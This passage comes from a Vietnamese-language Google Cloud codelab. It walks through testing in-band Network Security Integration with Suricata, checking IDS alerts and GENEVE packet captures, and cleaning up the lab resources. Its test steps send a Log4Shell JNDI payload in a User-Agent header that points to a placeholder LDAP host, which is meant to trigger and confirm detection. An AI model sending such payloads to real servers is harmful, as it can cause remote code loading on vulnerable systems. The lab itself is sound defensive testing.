Mã phản hồi HTTP 000 là một mã không chính thức, không theo tiêu chuẩn được một số phần mềm sử dụng để cho biết rằng không có mã trạng thái HTTP hợp lệ nào được nhận. Điều này có nghĩa là yêu cầu đã bị tường lửa chặn.
- Quay lại Cloud Shell bằng cách thoát phiên SSH
exit
- SSH vào máy ảo trong $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Tương tự, hãy gửi lưu lượng truy cập thử nghiệm:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Kết quả đầu ra dự kiến:
200
- Gửi yêu cầu log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Kết quả đầu ra dự kiến:
000
- Quay lại Cloud Shell bằng cách thoát phiên SSH
exit
- SSH vào VM trong $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Tương tự, hãy gửi lưu lượng truy cập thử nghiệm:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Kết quả đầu ra dự kiến:
200
- Gửi yêu cầu log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Kết quả đầu ra dự kiến:
200
Xin lưu ý rằng yêu cầu này đã được xử lý. Điều này nằm trong dự kiến vì bạn chưa định cấu hình NSI bằng $zonec. Nhóm điểm cuối chặn chỉ có các mối liên kết cho $zonea và $zoneb.
- Quay lại Cloud Shell bằng cách thoát phiên SSH
exit
Xác thực Suricata đã nhận và chặn các yêu cầu độc hại
- SSH vào máy ảo Suricata trong $zonea (suricata-$zonea) để kiểm tra nhật ký:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Xem nhật ký lọc theo loại tấn công:
cat /var/log/suricata/eve.json | grep log4j
Bạn có thể thấy một số mục. Nếu bạn không thấy mục nào, hãy kiểm tra nhật ký cho VM Suricata trong $zoneb. Kết quả mẫu:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Quay lại Cloud Shell bằng cách thoát phiên SSH
exit
Bạn có thể tuỳ ý SSH vào máy ảo Suricata trong $zoneb (suricata-$zoneb) và xác thực nhật ký
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Xem nhật ký lọc theo loại tấn công:
cat /var/log/suricata/eve.json | grep log4j
Kết quả mẫu:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Ngoài ra, việc bắt gói tin sẽ là một cách hiệu quả để xem và xác thực lưu lượng truy cập.
Lệnh này sẽ lọc các gói GENEVE. Lệnh mẫu:
sudo tcpdump -i any -nn udp port 6081
Bây giờ, hãy gửi một vài lưu lượng truy cập kiểm thử từ một VM người dùng. Kết quả mẫu:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Lưu ý rằng bạn có thể thấy tiêu đề GENEVE bằng tcpdump. IP nguồn là của cổng mạng con (10.0.0.1) và IP đích là của quy tắc chuyển tiếp (10.0.0.11 hoặc 10.0.0.12). Các gói được đóng gói chứa các gói ban đầu – IP máy khách của người tiêu dùng-$zonea (192.168.0.2) hoặc người tiêu dùng-$zoneb (192.168.0.3) và đích đến google.com. Điều này xác nhận rằng các gói đang bị chặn và gửi đến thiết bị của bên thứ ba thông qua tính năng Tích hợp bảo mật mạng.
- Quay lại Cloud Shell bằng cách thoát phiên SSH
exit
Xin chúc mừng. Bạn đã triển khai và thử nghiệm thành công một môi trường có tính năng Tích hợp bảo mật mạng (NSI) trong băng tần.
5. Dọn dẹp
Người tiêu dùng
Xoá các VM Consumer:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Xoá mối liên kết và chính sách tường lửa:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Xoá Nhóm hồ sơ bảo mật và Hồ sơ bảo mật:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Xoá mối liên kết điểm cuối và chặn các nhóm điểm cuối:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Xoá Cloud NAT, Cloud Router và IP dự phòng
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Xoá VPC và mạng con
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Producer (Nhà sản xuất)
Xoá các lượt triển khai chặn:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Xoá nhóm triển khai chặn (các lượt triển khai chặn phải hoàn tất việc xoá thì lệnh này mới thành công):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Xoá quy tắc chuyển tiếp:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Xoá IP dành riêng cho quy tắc chuyển tiếp:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Xoá dịch vụ phụ trợ:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Xoá các nhóm phiên bản không được quản lý:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Xoá quy trình kiểm tra tình trạng:
gcloud compute health-checks delete nva-hc -q
Xoá các VM Producer:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Xoá Cloud NAT, Cloud Router và IP dự phòng:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Xoá mối liên kết chính sách tường lửa:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Xoá Chính sách tường lửa:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Xoá VPC và mạng con
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Xin chúc mừng!
Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình về Tích hợp bảo mật mạng trong băng tần với Suricata.
Xem video minh hoạ cụ thể của nhà cung cấp trong băng tần NSI:
Hãy xem một số hướng dẫn triển khai dành riêng cho nhà cung cấp có thể phù hợp với tổ chức của bạn: